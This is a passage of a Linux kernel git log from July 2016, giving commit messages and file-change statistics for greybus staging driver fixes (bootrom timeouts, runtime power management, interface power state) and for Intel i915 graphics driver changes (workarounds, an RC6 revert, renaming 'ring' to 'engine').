2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 43c85a09b12cd3e782ae237be9903fef4559cc0d Author: Philip Yang Date: Sat Jul 23 05:48:14 2016 +0800 greybus: HID: Add runtime pm support Modify HID greybus driver to support runtime PM framework. The suspend and resume fucntion have been test with tutorial-hid, e-ink-display and gpbridge-test image by sysfs resume, all HID buttons work well on suspend/resume. Testing Done: Compiled and verified on EVT2, DB3.5, GPB test module with daughter board, Red module. Signed-off-by: Philip Yang Reviewed-by: David Lin Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 51 +++++++++++++++++++++++++++++++++++++++---- 1 file changed, 47 insertions(+), 4 deletions(-) commit 68793c4c8824a0b1e0cb89737c5919a0b10d70cf Author: Viresh Kumar Date: Fri Jul 22 14:13:44 2016 -0700 greybus: bootrom: Rename download_firmware() as find_firmware() The download_firmware() function isn't downloading the firmware but just finding if one is available or not. The same applies to the error message printed by it. Replace 'download' with 'find' to make it sound better. Reported-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 40d276ede92e85e4f414ac655c217e0bf5292cbb Author: Viresh Kumar Date: Fri Jul 22 14:13:43 2016 -0700 greybus: bootrom: Create gb_bootrom_cancel_timeout() We set timeouts using gb_bootrom_set_timeout(), which hides the internal implementation, i.e. workqueues. While canceling timeouts, we do cancel_delayed_work_sync(), which exposes the internal implementation and doesn't look that clean. Create gb_bootrom_cancel_timeout() to hide the internal implementation here as well. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) commit 6d9e6ffca4226007672800a6681c42cc877aab60 Author: Viresh Kumar Date: Fri Jul 22 14:13:42 2016 -0700 greybus: bootrom: Set timeout before sending AP_READY A special race is observed in the case where the phone boots with modules attached to it. In that case, the AP processes a later FIRMWARE_SIZE request from the bootrom, before processing the response to the earlier AP_READY request. And because of that, we set the timeout from gb_bootrom_probe() after trying to cancel it from gb_bootrom_firmware_size_request(). And with that, if the firmware package isn't available for the kernel to directly read from, then we get a timeout print message like below: [ 23.669764] bootrom 1-3.3.1: Firmware file 'ara_00000126_00001001_fffe0001_ffe5001a_s2l.tftf' requested [ 24.680528] bootrom 1-3.3.1: Timed out waiting for Firmware Size Request from the Module Note that this doesn't happen if the module is inserted into the frame, after the phone is already booted. This behavior is the result of an earlier commit cdd1cb3f4943 ("operation: add completion work queue"). This perhaps happens only at boot time because the UNBOUND wq (connection->wq) gets a chance to run on other CPUs, while the BOUND wq (gb_operation_completion_wq) doesn't at that stage (24 seconds since boot). Setting the timeout before sending the AP_READY request fixes it for now. Reported-by: Johan Hovold Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit 2d6f1c29988c0f5b51949bb674fe9dcdb923c4a6 Author: Viresh Kumar Date: Fri Jul 22 14:13:41 2016 -0700 greybus: bootrom: Don't print duplicate error messages On failing to find a firmware image, we get these today: bootrom 1-3.3.1: Firmware request for ara_00000126_00001001_fffe0001_ffe5001a_s2l.tftf has failed : -12 bootrom 1-3.3.1: gb_bootrom_firmware_size_request: failed to download firmware (-12) Which are more or less duplicate, as they print error for the same root cause. With this patch this is all we get now: bootrom 1-3.3.1: failed to download ara_00000126_00001001_fffe0001_ffe5001a_s2l.tftf firmware (-12) Reported-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit cc90d6fce858cea167102380e57a63af2f75ec8b Author: Viresh Kumar Date: Fri Jul 22 14:13:40 2016 -0700 greybus: bootrom: Skip setting timeout in failure path of size request The currently set value of next_request_type in the error path of gb_bootrom_firmware_size_request() is not correct, as it should have been NEXT_REQ_FIRMWARE_SIZE for the failure case (as we should be waiting for another similar request). But, if an error occurs in gb_bootrom_firmware_size_request(), then the ES3 bootrom will never be able to recover from it and send another request. And so there is no point waiting for another request and timing out. Skip doing that in error path. Reported-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 633e45eaac40406739baae960d2c8abac40dbb83 Author: Ann Chen Date: Fri Jul 22 15:33:55 2016 +0800 greybus: vibrator: integrate runtime pm Integrate greybus drivers with the Linux Kernel RuntimePM framework for vibrator driver. Testing Done: AP side (kernel) can control the vibrator driver with suspend and resume. Signed-off-by: Ann Chen Reviewed-by: David Lin Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/vibrator.c | 38 ++++++++++++++++++++++++++++++++++---- 1 file changed, 34 insertions(+), 4 deletions(-) commit 553cba82b1ada07c8d29405c4900a66891c06052 Author: Viresh Kumar Date: Thu Jul 21 22:41:05 2016 -0700 greybus: control: Print bundle-id in print messages The new power management specific operations added to the control protocol do not print the bundle-id in the error messages and it is not possible to identify which bundle-id the operation failed for. Fix that and do minor rewriting of the print messages to make them more readable. Tested on EVT 2.0 with gpbridge-test module. Signed-off-by: Viresh Kumar Reviewed-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 30 ++++++++++++++++-------------- 1 file changed, 16 insertions(+), 14 deletions(-) commit e514dec730284da080286bdf7229d21c2be68b24 Author: David Lin Date: Fri Jul 22 13:46:25 2016 -0700 greybus: operation: print id when synchronous operation timeout In case of a synchronous operation timeout error, it's helpful for purpose of debugging to print the operation id in the error message, so that we know if the response is received at a later time after operation time out. Testing Done: - Observe the error message below when response comes later after operation timeout: [ 792.973978] greybus greybus1: 0/0:0: synchronous operation id 0x0005 of type 0x21 failed: -110 [ 800.646694] greybus greybus1: 0/0:0: unexpected response id 0x0005 received Signed-off-by: David Lin Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 098dfaf45e76442d032207d2023930c685ab7c2e Author: Vaibhav Agarwal Date: Fri Jul 22 09:41:30 2016 +0530 greybus: audio: Avoid using ARA keyword It is suggested to avoid using ARA keyword externally. So we need to update GB codec driver. Also, codec name is currently set to 'gb-codec'. However, it makes more sense to name it as apb-dummy-codec, since it is used to control various audio modules connected to APB via greybus. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 92bcaddea3197e477bb37439805fcb5a2f9942d7 Author: Viresh Kumar Date: Thu Jul 21 14:45:06 2016 -0700 greybus: spilib: make spilib independent of gbphy spilib is used by multiple users currently (spi.c and fw-core.c) but commit aa52b62a0556 broke that hierarchy and introduced gbphy dependent code in spilib. This may have unreliable consequences as we are doing following operation unconditionally now: gbphy_dev = to_gbphy_dev(spi->parent); gbphy_runtime_get_sync(gbphy_dev); which may not go well when the parent is of type &bundle->dev (fw-core.c). This patch introduces spilib_ops and lets the users of the core register them. This shall have no functional change for the spi.c usecase and shall fix the unreliable results for the fw-core.c usecase. Tested by writing to mtd0 dev and verifying (with print messages) that the below routines are getting called for a gpbridge-test module. Fixes: aa52b62a0556 ("spi: Add runtime_pm support") Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-core.c | 2 +- drivers/staging/greybus/spi.c | 23 ++++++++++++++++++++++- drivers/staging/greybus/spilib.c | 28 ++++++++++++++++------------ drivers/staging/greybus/spilib.h | 8 +++++++- 4 files changed, 46 insertions(+), 15 deletions(-) commit adac4b95941189ca301759a67da4a132fc2804d5 Author: Viresh Kumar Date: Wed Jul 20 16:39:00 2016 -0700 greybus: firmware: Improve test application It can take arguments not and we can perform all the operations with a single binary, sorry for missing that initially. Usage: ./firmware And all of them have default values, etc. Tested with a semco 13 MP module. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/firmware/firmware.c | 146 ++++++++++++++------- 1 file changed, 96 insertions(+), 50 deletions(-) commit db2951835b9b11abf3075302279a41cd345db312 Author: David Lin Date: Wed Jul 20 17:18:39 2016 -0700 greybus: timesync: do not print frametime by default Currently frametime are being printed whenever an Interface is runtime-resumed. This is unnecessarily chatty. This patch moves the frametime print from using pr_info() to dev_dbg(). Testing Done: - $ echo "module greybus +p" > /d/dynamic_debug/control [ 97.699395] greybus 1-svc: greybus frametime: ap=2042778707 1-svc=2042775185 greybus1=2042778397 1-6.6=2042778390 Signed-off-by: David Lin Reviewed-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f5c93dea8fb7daf5ec26176caa791719895cd28e Author: Bartosz Golaszewski Date: Thu Jul 21 18:09:34 2016 +0200 greybus: pm: add error handling to bundle activation The firmware now keeps the underlying hardware disabled until receiving the first Bundle Activate request. Additionally: requesting transition to a state the bundle is already in is no longer an error. We can now add proper error handling to the bundle activate call. Signed-off-by: Bartosz Golaszewski Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 2358024b67fccc07b95c5d8e637927acdb8e30fa Author: Johan Hovold Date: Thu Jul 21 14:24:11 2016 +0200 greybus: control: suppress bundle_activate() for bootrom We always knew backward compatibility with the ES3 bootrom, which was finalised about a year ago, would be a pain. Here we go again. The bootrom does not support control requests added after it was burnt into ROM for obvious reasons. This means that we need to suppress sending the new bundle_activate() operation to any interface executing the legacy bootrom. Do so by adding a new NO_PM interface quirk (we can use the control-protocol version for this later once we bump it). Note that the interface-disable path (e.g. for power down) is already handled by the FORCED_DISABLE quirk, and that the suspend/resume paths are currently avoided by making sure that the bootrom bundle never suspends. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Acked-by: Bartosz Golaszewski Tested-by: Bartosz Golaszewski Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 7 +++++++ drivers/staging/greybus/control.h | 1 + drivers/staging/greybus/interface.c | 3 ++- drivers/staging/greybus/interface.h | 1 + 4 files changed, 11 insertions(+), 1 deletion(-) commit 350e3ac2ceb696435efbbe688e6e912801a4b8c4 Author: Joel Porquet Date: Thu Jul 21 15:57:38 2016 -0700 greybus: firmware.h: rename TFTF firmware filenames Replace prefix "ara_" with prefix "gmp_" for TFTF firmware filenames. Testing Done: compiled and flashed EVT2 (bootimage) and tested that "gmp_" prefixed tftf files are expected. Pushed one from FDK and checked that it's properly loaded. Signed-off-by: Joel Porquet Acked-by: Viresh Kumar Acked-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 54b4f68f184c4b8409c113148758baf37d51351b Author: Chris Wilson Date: Thu Jul 21 21:16:19 2016 +0100 Revert "drm/i915: Enable RC6 immediately" This reverts commit b12e0ee2080c ("drm/i915: Enable RC6 immediately"), as it was never meant to be sent anywhere other than the bug report for experimentation. Signed-off-by: Chris Wilson Cc: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1469132179-4052-1-git-send-email-chris@chris-wilson.co.uk Acked-by: Daniel Vetter drivers/gpu/drm/i915/i915_drv.c | 5 +- drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_gem.c | 2 + drivers/gpu/drm/i915/i915_gem_request.c | 1 + drivers/gpu/drm/i915/intel_display.c | 1 - drivers/gpu/drm/i915/intel_drv.h | 5 +- drivers/gpu/drm/i915/intel_pm.c | 96 ++++++++++++++++++++++++++++++++- drivers/gpu/drm/i915/intel_uncore.c | 2 +- 8 files changed, 105 insertions(+), 8 deletions(-) commit 843759a5f81d0b65df12f3bb6627fc7c3e450a98 Author: Daniel Vetter Date: Thu Jul 14 16:15:04 2016 +0200 drm/i915: Remove misleading CSR firmware loading docs I forgot to remove these when reworking the firmware loading sequence last year. The new sequence is that we load firmware, and if it's not there we entirely (and permanently) fail dmc setup. Reported-by: Dave Gordon Reviewed-by: Dave Gordon Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468505704-17391-1-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/i915/intel_csr.c | 7 ------- 1 file changed, 7 deletions(-) commit 13f17b22a720c4d98c3df1ebafcf9e3d3ac1c463 Author: Dave Gordon Date: Thu Jul 21 18:39:38 2016 +0100 drm/i915: use i915_gem_object_put_unlocked() after releasing mutex The exit path in intel_overlay_put_image_ioctl() first unlocks the struct_mutex, then drops its reference to 'new_bo' by calling i915_gem_object_put(). As it isn't holding the mutex at this point, this should be i915_gem_object_put_unlocked(). This was previously correct but got splatted in the recent s/drm_gem_object_unreference/i915_gem_object_put/ where the _unlocked suffix was lost in this one case. v2: don't bother fixing whitespace glitch [Chris Wilson] Chris can do it next time he touches gem_evict.c ;) Fixes: f8c417cd drm/i915: Rename drm_gem_object_unreference in preparation ... Signed-off-by: Dave Gordon Reviewed-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469122778-14416-1-git-send-email-david.s.gordon@intel.com Signed-off-by: Chris Wilson drivers/gpu/drm/i915/intel_overlay.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b12e0ee2080c093a08243726f0f3c57fddf954a5 Author: Chris Wilson Date: Thu Jul 21 18:28:30 2016 +0100 drm/i915: Enable RC6 immediately Now that PCU communication is reasonably fast, we do not need to defer RC6 initialisation to a workqueue. References: https://bugs.freedesktop.org/show_bug.cgi?id=97017 Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_drv.c | 5 +- drivers/gpu/drm/i915/i915_drv.h | 1 - drivers/gpu/drm/i915/i915_gem.c | 2 - drivers/gpu/drm/i915/i915_gem_request.c | 1 - drivers/gpu/drm/i915/intel_display.c | 1 + drivers/gpu/drm/i915/intel_drv.h | 5 +- drivers/gpu/drm/i915/intel_pm.c | 96 +-------------------------------- drivers/gpu/drm/i915/intel_uncore.c | 2 +- 8 files changed, 8 insertions(+), 105 deletions(-) commit b5d1d1282bbb318a67fdcfc8ef2615e93d1d1724 Author: Johan Hovold Date: Thu Jul 21 12:48:57 2016 +0200 greybus: interface: fix interface_id attribute group All interfaces, regardless of type, should have an interface_id attribute reflecting its position on the frame. This has been reported to cause an assertion failure in libmoduleutil for dummy modules. Testing done: Verified that the attribute is present for registered dummy interfaces. Reported-by: Gjorgji Rosikopulos Tested-by: Gjorgji Rosikopulos Reviewed-by: Patrick Titiano Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 65fe29eeec71d3e50870c5048d2c79bc9a477a76 Author: Tim Gore Date: Wed Jul 20 11:00:25 2016 +0100 drm/i915:gen9: restrict WaC6DisallowByGfxPause WaC6DisallowByGfxPause is currently applied unconditionally but is not required in all revisions. v2: extend application of workaround to agree with w/a database, which differs from the HSD. References: HSD#2133391 Signed-off-by: Tim Gore Reviewed-by: Sagar Arun Kamble Signed-off-by: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1469008825-19442-1-git-send-email-tim.gore@intel.com drivers/gpu/drm/i915/intel_guc_loader.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit f8ca0c07f68ba47f9c512019514af2922713b5ce Author: Dave Gordon Date: Wed Jul 20 18:16:07 2016 +0100 drm/i915: rename & update eb_select_ring() 'ring' is an old deprecated term for a GPU engine, so we're trying to phase out all such terminology. eb_select_ring() not only has 'ring' (meaning engine) in its name, but it has an ugly calling convention whereby it returns an errno and stores a pointer-to-engine indirectly through an output parameter. As there is only one error it ever returns (-EINVAL), we can make it return the pointer directly, and have the caller pass back the error code -EINVAL if the pointer result is NULL. Thus we can replace - ret = eb_select_ring(dev_priv, file, args, &engine); - if (ret) - return ret; with + engine = eb_select_engine(dev_priv, file, args); + if (!engine) + return -EINVAL; for increased clarity and maybe save a few cycles too. Signed-off-by: Dave Gordon Link: http://patchwork.freedesktop.org/patch/msgid/1469034967-15840-4-git-send-email-david.s.gordon@intel.com Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_gem_execbuffer.c | 32 +++++++++++++++--------------- 1 file changed, 16 insertions(+), 16 deletions(-) commit 38a0f2db5b776246da35fe83c96f2c1ba87e4afa Author: Dave Gordon Date: Wed Jul 20 18:16:06 2016 +0100 drm/i915: rename 'ring' where it refers to an engine or engine_id 'ring' is an old deprecated term for a GPU engine. Chris Wilson wants to use the name for what is currently known as an intel_ringbuffer, but it will be dreadfully confusing if some rings are ringbuffers but other rings are still engines. So this patch changes the names of a bunch of parameters called 'ring' to either 'engine' or 'engine_id' according to what they actually are. Signed-off-by: Dave Gordon Link: http://patchwork.freedesktop.org/patch/msgid/1469034967-15840-3-git-send-email-david.s.gordon@intel.com Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson drivers/gpu/drm/i915/intel_mocs.c | 6 +++--- drivers/gpu/drm/i915/intel_mocs.h | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.h | 12 ++++++------ 4 files changed, 11 insertions(+), 11 deletions(-) commit bbdc070a79b791bec0e374089bd0e7ecd949e6e8 Author: Dave Gordon Date: Wed Jul 20 18:16:05 2016 +0100 drm/i915: rename macro parameter(ring) to (engine) 'ring' is an old deprecated term for a GPU engine. Here we make the terminology more consistent by renaming the 'ring' parameter of lots of macros that calculate addresses within the MMIO space of an engine. Signed-off-by: Dave Gordon Link: http://patchwork.freedesktop.org/patch/msgid/1469034967-15840-2-git-send-email-david.s.gordon@intel.com Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_reg.h | 14 +++++++------- drivers/gpu/drm/i915/intel_lrc.h | 16 ++++++++-------- drivers/gpu/drm/i915/intel_ringbuffer.h | 24 ++++++++++++------------ 3 files changed, 27 insertions(+), 27 deletions(-) commit 10a24b7c0911d63c7342dfb860e939221b4a9465 Author: Bryan O'Donoghue Date: Wed Jul 20 19:31:18 2016 +0100 greybus: timesync: probe shouldn't complete until FrameTime sync does Currently the probe() function contains the asynchronous() variant of FrameTime synchronization. This patch converts to the synchronous() version of synchronization. This is required for two reasons first a probe() cannot reasonably be considered to be complete without successfully completing a time synchronization for Interfaces that care about that sync. Secondly scheduling the operation asynchronously means its possible the PM-runtime suspend() path can execute before the async timesync operation completes. For both reasons we want to run synchronization - synchronously. Signed-off-by: Bryan O'Donoghue Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 346bae656e4e1a471771590f1f4e16e9f9332d1d Author: Ryan Lim Date: Wed Jul 20 08:14:04 2016 -0700 greybus: loopback_test: Add -f argument to cancel all tests To make sure tests on all devices, enabled or not, are cancelled, specify -f when starting new loopback test. Signed-off-by: Ryan Lim Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/tools/loopback_test.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit bf32654a24441230fac32479b6a5ba8bbfc3b731 Author: Ryan Lim Date: Wed Jul 20 08:14:03 2016 -0700 greybus: loopback_test: Fix -z argument bug The -z argument was missing the break statement needed in the switch block and was not in the getopt list. Signed-off-by: Ryan Lim Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/tools/loopback_test.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2861e2079081a156b0b731e1f6acb2aaf5605c5e Author: Ryan Lim Date: Wed Jul 20 08:14:02 2016 -0700 greybus: loopback_test: Cancel only the tests running on selected devices When starting a loopback test, it cancels all currently running tests on all loopback devices. When -m argument is given, which runs the test on specific loopback devices, only the tests running on the selected devices need to be cancelled before starting new tests. Signed-off-by: Ryan Lim Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/tools/loopback_test.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 93a738894346d01687c8979bca129d7eaaf7d35f Author: Bryan O'Donoghue Date: Tue Jul 19 15:04:37 2016 +0100 greybus: timesync: reduce initial startup time Currently we have a long initial delay when initiating the first operation to synchronize the FrameTime. That made sense during development of the feature since we did synchronization asynchronously and wanted to give some grace time for new Interfaces to be added before initiating a new synchronization. On the PM runtime resume path though we do a synchronous restoration of FrameTime and in this case waiting for 1 second before initiating the first operation is clearly wrong. This patch reduces the initial operation time bringing the synchronous call time down by 990 milliseconds. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8a704565ebda9603c294aacebb34e47cd9d9a3a0 Author: Greg Kroah-Hartman Date: Wed Jul 20 10:11:37 2016 -0700 greybus: move all firmware prefix strings to one place The firmware prefix is hard-coded in a few different places. Put it all in one handy #define, for when/if we ever decide to change it in the future... Testing: 'strings gb-firmware.ko gb-bootrom.ko | grep ara_' produced the same output before and after this patch. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Acked-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 3 ++- drivers/staging/greybus/firmware.h | 5 +++++ drivers/staging/greybus/fw-download.c | 4 +--- 3 files changed, 8 insertions(+), 4 deletions(-) commit 4f7e413b2d2d2825dbb36b73f06e69514022b132 Author: Johan Hovold Date: Wed Jul 20 16:40:27 2016 +0200 greybus: interface: hibernate UniPro link in activation error path To be well-behaved, we should hibernate the link before disabling UniPro in case the link has already been established (i.e. when the interface type has been detected as UniPro or Greybus). Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Reviewed-by: Sandeep Patil Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit e21e6bad3f425e8bc74186f3ab1e21cd40f7a208 Author: Johan Hovold Date: Wed Jul 20 16:40:26 2016 +0200 greybus: interface: fix power_state documentation Reword the power_state attribute documentation to make it clear that an attempt to boot and possibly enumerate an interface is made when writing "on" to the file, and that on errors the interface will again be powered down. Drop the incorrect claim that writing the currently read value has no effect, since no such guarantees can be made (e.g. several writers may be sleeping on the interface mutex). Also fix some minor language issues. Reviewed-by: Sandeep Patil Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) commit 93e29c8530881766837e62088d54ffb733f8bc2a Author: Viresh Kumar Date: Wed Jul 20 16:40:25 2016 +0200 greybus: interface: add power_state attribute User space needs the capability of powering ON or OFF an Interface for multiple use cases. For example, userspace may want an Interface currently in its S3 boot stage, to boot into its S2 Loader stage to update the bridge SPI flash. Or the Interface is running its S2 Loader stage and updated the SPI flash with the new S2 Loader firmware and wants to boot into the new S2 Loader firmware. Another use case can be, Android wants to disable (not eject) a misbehaving module. Add a 'power_state' sysfs file within the interface directory. It can be read to know the current power state of the Interface and can be written to power ON or power OFF an Interface. Possible values that can be written or read from it are: "on" and "off". Testing Done: Tested by enabling/disabling camera module on EVT 2.0. Signed-off-by: Viresh Kumar CC: David Lin Reviewed-by: Johan Hovold [johan: drop es3-quirk duplication, add to power attribute group, fix return value, drop tags ] Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Reviewed-by: Sandeep Patil Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 17 +++++++ drivers/staging/greybus/interface.c | 58 ++++++++++++++++++++++ 2 files changed, 75 insertions(+) commit 12169bc9143ed24ad7a5ea12a7c28d1dba891131 Author: Johan Hovold Date: Wed Jul 20 16:40:24 2016 +0200 greybus: interface: prevent reactivation during removal Make sure to prevent an interface that is going away from being reactivated. This is needed to preemptively close a race between the upcoming feature to reactivate a powered-down interface and physical removal (i.e. module_removed event processing) as well as logical removal (e.g. the current system-suspend hack). Reviewed-by: Sandeep Patil Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/module.c | 1 + 3 files changed, 3 insertions(+), 1 deletion(-) commit 62491622db9c9b6a51630f4c8c653f59c2c834f9 Author: Johan Hovold Date: Wed Jul 20 16:40:23 2016 +0200 greybus: interface: make sure type is invariant during reactivation An interface is not expected to change its type after a power down and reactivation so make sure to treat that as a fatal error. This is complicated by the current Toshiba ES3 hack which requires us to retry activation as Greybus interfaces are sometimes misdetected as UniPro interfaces. Handle that by only retrying activation the first time an interface is activated, and for interfaces already detected as having Greybus type. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Reviewed-by: Sandeep Patil Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 75 +++++++++++++++++++++++++++---------- 1 file changed, 55 insertions(+), 20 deletions(-) commit 3e93cb6abbc023aebf311618481263e000bf26fb Author: Johan Hovold Date: Wed Jul 20 16:40:22 2016 +0200 greybus: interface: clean up ES3 activation-retry hack Clean up the ES3 activation retry-hack and isolate it in the interface code. This way the retry hack can be reused when we soon start allowing interfaces to be reactivated after having been powered down. Reviewed-by: Sandeep Patil Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 40 +++++++++++++++++++++++++++++-------- drivers/staging/greybus/module.c | 20 +------------------ 2 files changed, 33 insertions(+), 27 deletions(-) commit 27b9e257dd57fba0d63d996bf050fcbd94d998d7 Author: Johan Hovold Date: Wed Jul 20 16:40:21 2016 +0200 greybus: interface: do not read DME during reactivation It will soon be possible to reactivate an interface that has been powered down after already having been activated. In that case there's no need to re-read the DME attributes as part of activation as the values are already cached. Reviewed-by: Sandeep Patil Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 12 +++++++++++- drivers/staging/greybus/interface.h | 1 + 2 files changed, 12 insertions(+), 1 deletion(-) commit a212b7586712208804d3d51efa9fdf6e23b2480a Author: Johan Hovold Date: Wed Jul 20 16:40:20 2016 +0200 greybus: interface: use an enum for interface type Use an enum for the interface type instead of using the SVC protocol values directly. Suggested-by: Viresh Kumar Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Reviewed-by: Sandeep Patil Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 32 ++++++++++++++++++-------------- drivers/staging/greybus/interface.h | 11 ++++++++++- drivers/staging/greybus/module.c | 2 +- 3 files changed, 29 insertions(+), 16 deletions(-) commit 873e8171aebe9e633734cef18e04c64e4715a9a4 Author: Mika Kuoppala Date: Wed Jul 20 14:26:13 2016 +0300 drm/i915/gen9: Add WaDisableGatherAtSetShaderCommonSlice Add WaDisableGatherAtSetShaderCommonSlice for all gen9 as stated by bspec. The bspec told to put this workaround to the per ctx bb. Initial implementation and subsequent review were done based on bspec. Arun raised a suspicion that this would belong to indirect bb instead and he conducted more throughout investigation on the matter and indeed the documentation was wrong. v2: Move to indirect_ctx wa bb, as it is correct place (Arun) References: HSD#2135817 Cc: Arun Siluvery Cc: Matthew Auld Signed-off-by: Mika Kuoppala Reviewed-by: Matthew Auld (v1) Reviewed-by: Arun Siluvery Signed-off-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469013973-24104-1-git-send-email-mika.kuoppala@intel.com drivers/gpu/drm/i915/i915_reg.h | 1 + drivers/gpu/drm/i915/intel_lrc.c | 7 +++++++ 2 files changed, 8 insertions(+) commit 4ba9c1f7c7b8ca8c1d77f65d408e589dc87b9a2d Author: Mika Kuoppala Date: Wed Jul 20 14:26:12 2016 +0300 drm/i915/gen9: Add WaInPlaceDecompressionHang Add this workaround to prevent hang when in place compression is used. References: HSD#2135774 Cc: stable@vger.kernel.org Signed-off-by: Mika Kuoppala Reviewed-by: Arun Siluvery Signed-off-by: Joonas Lahtinen drivers/gpu/drm/i915/i915_drv.h | 2 ++ drivers/gpu/drm/i915/i915_reg.h | 3 +++ drivers/gpu/drm/i915/intel_ringbuffer.c | 14 ++++++++++++++ 3 files changed, 19 insertions(+) commit 39df91905df3ba2d3a8e1270a30845970c9e2001 Author: Chris Wilson Date: Wed Jul 20 13:31:57 2016 +0100 drm/i915: Convert i915_semaphores_is_enabled over to early sanitize Rather than recomputing whether semaphores are enabled, we can do that computation once during early initialisation as the i915.semaphores module parameter is now read-only. s/i915_semaphores_is_enabled/i915.semaphores/ v2: Add the state to the debug dmesg as well Signed-off-by: Chris Wilson Link: 